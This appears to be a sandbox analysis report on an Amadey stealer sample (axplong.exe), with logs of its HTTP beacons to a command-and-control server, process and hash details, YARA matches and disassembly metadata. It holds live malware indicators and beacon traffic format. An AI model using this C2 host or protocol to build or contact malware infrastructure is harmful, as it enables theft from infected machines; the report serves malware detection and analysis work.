Sep 27, 2024 11:31:11.148034096 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:11.871057987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	65127	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:11.984565973 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	65128	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:12.012002945 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:12.749566078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	65129	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:12.865654945 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:13.584402084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:31:13.593420029 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:13.821906090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	65130	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:13.945755005 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:14.634277105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	65131	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:14.643163919 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:31:15.349911928 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	65132	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:31:15.471771002 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:31:16.183041096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:31:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	05:29:09
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xcf0000
File size:	1'923'072 bytes
MD5 hash:	73ACB4CC181ACA9525AB9F599500B9CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2190425127.0000000000CF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2149476998.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:29:12
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x8f0000
File size:	1'923'072 bytes
MD5 hash:	73ACB4CC181ACA9525AB9F599500B9CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2179442160.0000000005020000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2220557064.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:29:12
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x8f0000
File size:	1'923'072 bytes
MD5 hash:	73ACB4CC181ACA9525AB9F599500B9CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2220852652.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2180250631.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:30:00
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x8f0000
File size:	1'923'072 bytes
MD5 hash:	73ACB4CC181ACA9525AB9F599500B9CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2651739897.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 04CD0306 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58feae5c5b32446681ac4482b406d3cb46e08ca1c0e20d1e43031e5e231ab906
Instruction ID: d326a3db83d6410d7fed9e9d3df9ffb2dd5a8f92aed33113670095b32f41720d
Opcode Fuzzy Hash: 58feae5c5b32446681ac4482b406d3cb46e08ca1c0e20d1e43031e5e231ab906
Instruction Fuzzy Hash: 3201D6EF28C100BFB102928B2B189B6AB2FE5D2738B348836F503D2102F1D89A0D7031

Function 04CD01E5 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c4793ecbc151d337f4002af221582950e2fd4abffc9ba29d81afd86bfd1dc37
Instruction ID: 564eec16eccb6fbb529602fd36e79abf2c4ded1e8dd14b55335569d5b6d6e3c5
Opcode Fuzzy Hash: 9c4793ecbc151d337f4002af221582950e2fd4abffc9ba29d81afd86bfd1dc37
Instruction Fuzzy Hash: 0F319EEB24D140BFE102895B6F449F67F6FF6C6738B34446AF502CB042F2955A0D6131

Function 04CD0245 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 253020a0eeb3198f240e9629543497a82f2521fc1041095fbfb68234398f5859
Instruction ID: 8412b665bbdfdf30b1571b6b137ae171733953a47d5b1d2fb62d7b31f15e53f0
Opcode Fuzzy Hash: 253020a0eeb3198f240e9629543497a82f2521fc1041095fbfb68234398f5859
Instruction Fuzzy Hash: 8C31F8EB24D140BFB142958B6F58AF6BB2FE6C3738B34842AF906D6102F2D45A5D7131

Function 04CD027A Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9bf904e2e043d2c777759452d13c4d8b304e63c4884b923a61c35f3a5b3427e
Instruction ID: 541f514f514591b0391c704d1a81135cb1f2deb68d43a00cc95e6ce8e6e443ac
Opcode Fuzzy Hash: d9bf904e2e043d2c777759452d13c4d8b304e63c4884b923a61c35f3a5b3427e
Instruction Fuzzy Hash: AB31AEBB24D140BFE202965B6B499F67B7BEAC3738B34847AF502C7502F2944A1DB131

Function 04CD0340 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4b0ab8081ac2926fbf76e7e65d477d364c93acd0c91dd7f2f991251f700dd0c
Instruction ID: 9eb67c842ae55ec0f2cb2821de5a1c92538fe9af4a42cdf840c8db2f0ea0a558
Opcode Fuzzy Hash: b4b0ab8081ac2926fbf76e7e65d477d364c93acd0c91dd7f2f991251f700dd0c
Instruction Fuzzy Hash: 56217DBB24D140AFE302869BAF499F5BF3AEAD3738735446BF442C7042F194960EA131

Function 04CD02BC Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68ac2fdcbf81bf59769531ee168e1478f70d11d77153f37e2c777bcbcee1c7eb
Instruction ID: df9bad9b3b566948e37313811650d4453fca6a64b40f839dccf125bd4e1c2cb5
Opcode Fuzzy Hash: 68ac2fdcbf81bf59769531ee168e1478f70d11d77153f37e2c777bcbcee1c7eb
Instruction Fuzzy Hash: 48219EEB249100AFA202924F6B485F6BB3BFAC3738B34842AF502D7102B2D45B1D7131

Function 04CD02D7 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40ee671ca15232aac994e1ef8c9c54a125302324670fb1758b55e528952436f1
Instruction ID: f7a18ffb5953cf939f34befd21fff05696ccc18262a5d6479cd2d9fc0bb5d616
Opcode Fuzzy Hash: 40ee671ca15232aac994e1ef8c9c54a125302324670fb1758b55e528952436f1
Instruction Fuzzy Hash: 27216DFB14D240AFE20283576B499F6BB7AFAD3638734446AF442D7102F2A45A1DA131

Function 04CD02AE Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87f190d7f4d191cfdcbbffa51a85f11956c1806e93addd3777fc23b6e5857221
Instruction ID: 7c08e84b42c1138cd8d2dd19deec8113b2532a5de7103f71ca0372e89a213539
Opcode Fuzzy Hash: 87f190d7f4d191cfdcbbffa51a85f11956c1806e93addd3777fc23b6e5857221
Instruction Fuzzy Hash: 422184EB24D144BFA102964B6B485F5BB3BFAD3738B34846AF503D7102B2D45A1D7131

Function 04CD02C5 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af1b6883a051f6b3ff6b8ccb9d6bb0e5dde8bb4c1d8476d4852d1a00989b4748
Instruction ID: 1cd5364ee508f659c9e3ee1d6f2e08188c4102249a600dc660cf817717c20773
Opcode Fuzzy Hash: af1b6883a051f6b3ff6b8ccb9d6bb0e5dde8bb4c1d8476d4852d1a00989b4748
Instruction Fuzzy Hash: 5E213BAB249140BFE202975B6B485F6BB3AFAD3738B34886AF542D7103B2945A1D7131

Function 04CD0393 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a08f74ce65a7da6e0bf21101fd9dc6785cfc91bb7833a4fe8109cd2a6b9c83ed
Instruction ID: a329968b59a46e9d5e083b3908dd3b33845e8446e06d18877b4c439e6063b4b4
Opcode Fuzzy Hash: a08f74ce65a7da6e0bf21101fd9dc6785cfc91bb7833a4fe8109cd2a6b9c83ed
Instruction Fuzzy Hash: 372161BB14D140AFE212865B6B489F6BB3AFBC2738B34846BF541D7002F2A4570E6131

Function 04CD032B Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2432d45a870b899b712162ddc6e231863d50a051c15303eb796e3e13edf3945a
Instruction ID: 8bf9f52e354043c238af9ece098f6ab50683036a81633ea01f6f6395ace71fc0
Opcode Fuzzy Hash: 2432d45a870b899b712162ddc6e231863d50a051c15303eb796e3e13edf3945a
Instruction Fuzzy Hash: 1601D6EF248500AFB102928B2F5CAF6AB6EE5D2734B348426F542D2102B1D89A0E7031

Function 04CD0371 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b4d63990230ab0b92ff15227be1be8dbc3039e62f16f1f3b73f315eb9ee9dd
Instruction ID: 6357eebff73c5855cdfec35d9480dcf7c70afa4f93d45ec844ee09f6324b89c4
Opcode Fuzzy Hash: b2b4d63990230ab0b92ff15227be1be8dbc3039e62f16f1f3b73f315eb9ee9dd
Instruction Fuzzy Hash: 0101FCEF2891046FF11292977F186F7BBAEE5D27347308436F452D3142E1E44A4E6130

Function 04CD03A2 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192199639.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6713f8eebd928f23feddcf007047d54d5dae386e9bdd26958b5bae3518e1016d
Instruction ID: 898b244c02b2da29e380c95756131351b90c0bef41ae4cc7a2a4cfd68053f983
Opcode Fuzzy Hash: 6713f8eebd928f23feddcf007047d54d5dae386e9bdd26958b5bae3518e1016d
Instruction Fuzzy Hash: 53F022EF1880006E711392973B186F6ABAEE9D3B347308432F442D2243E1D84A1E7031

Analysis Process: axplong.exePID: 1924, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.6%
Total number of Nodes:	981
Total number of Limit Nodes:	78

Executed Functions

Function 008FBD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00948D70,00000000,00000000,00000000,00000000), ref: 008FBDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 008FBE11
HttpOpenRequestA.WININET(?,00000000), ref: 008FBE5B
HttpSendRequestA.WININET(?,00000000), ref: 008FBF1B
InternetReadFile.WININET(?,?,000003FF,?), ref: 008FBFCC
InternetCloseHandle.WININET(?), ref: 008FC0A7
InternetCloseHandle.WININET(?), ref: 008FC0AF
InternetCloseHandle.WININET(?), ref: 008FC0B7

Strings

stoi argument out of range, xrefs: 008FE3FA
RpKt, xrefs: 008FD516
RHYTYv==, xrefs: 008FBE33
8KG0fymoFx==, xrefs: 008FC2EB, 008FC543
8KG0fCKZFzY=, xrefs: 008FC385
invalid stoi argument, xrefs: 008FE404

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$invalid stoi argument$stoi argument out of range
API String ID: 688256393-332458646
Opcode ID: e6437b3bd137ca55cac62e41ba2224bffca0ed37642df3c99848774588491079
Instruction ID: 65b0796e36b534a9da899ad8f7405e65e070bd8d720d36bd93324a2071be088c
Opcode Fuzzy Hash: e6437b3bd137ca55cac62e41ba2224bffca0ed37642df3c99848774588491079
Instruction Fuzzy Hash: BEB1C5B1A1011C9BEB24CF28CD85BAEBB65FF85314F5041A9F609D72C2DB709AC4CB95

Function 0090D312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 008F247E

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: d68ccd1783c33a997030b34c20ef025d0d789b842e3173905b9b771a318b3c7e
Instruction ID: 6b0cf0d843a03c3e8a9051ad0e613a714710099721a155eca6d026a0c82aba46
Opcode Fuzzy Hash: d68ccd1783c33a997030b34c20ef025d0d789b842e3173905b9b771a318b3c7e
Instruction Fuzzy Hash: 0551DFB2A167058FDB15CFA9E8917AEB7F8FB48310F24852AD805EB6D1D3349940CF50

Function 009046C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00907870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 0090795C
Part of subcall function 00907870: __Cnd_destroy_in_situ.LIBCPMT ref: 00907968
Part of subcall function 00907870: __Mtx_destroy_in_situ.LIBCPMT ref: 00907971

Part of subcall function 008FBD60: InternetOpenW.WININET(00948D70,00000000,00000000,00000000,00000000), ref: 008FBDED
Part of subcall function 008FBD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 008FBE11
Part of subcall function 008FBD60: HttpOpenRequestA.WININET(?,00000000), ref: 008FBE5B

std::_Xinvalid_argument.LIBCPMT ref: 00904EA2

Strings

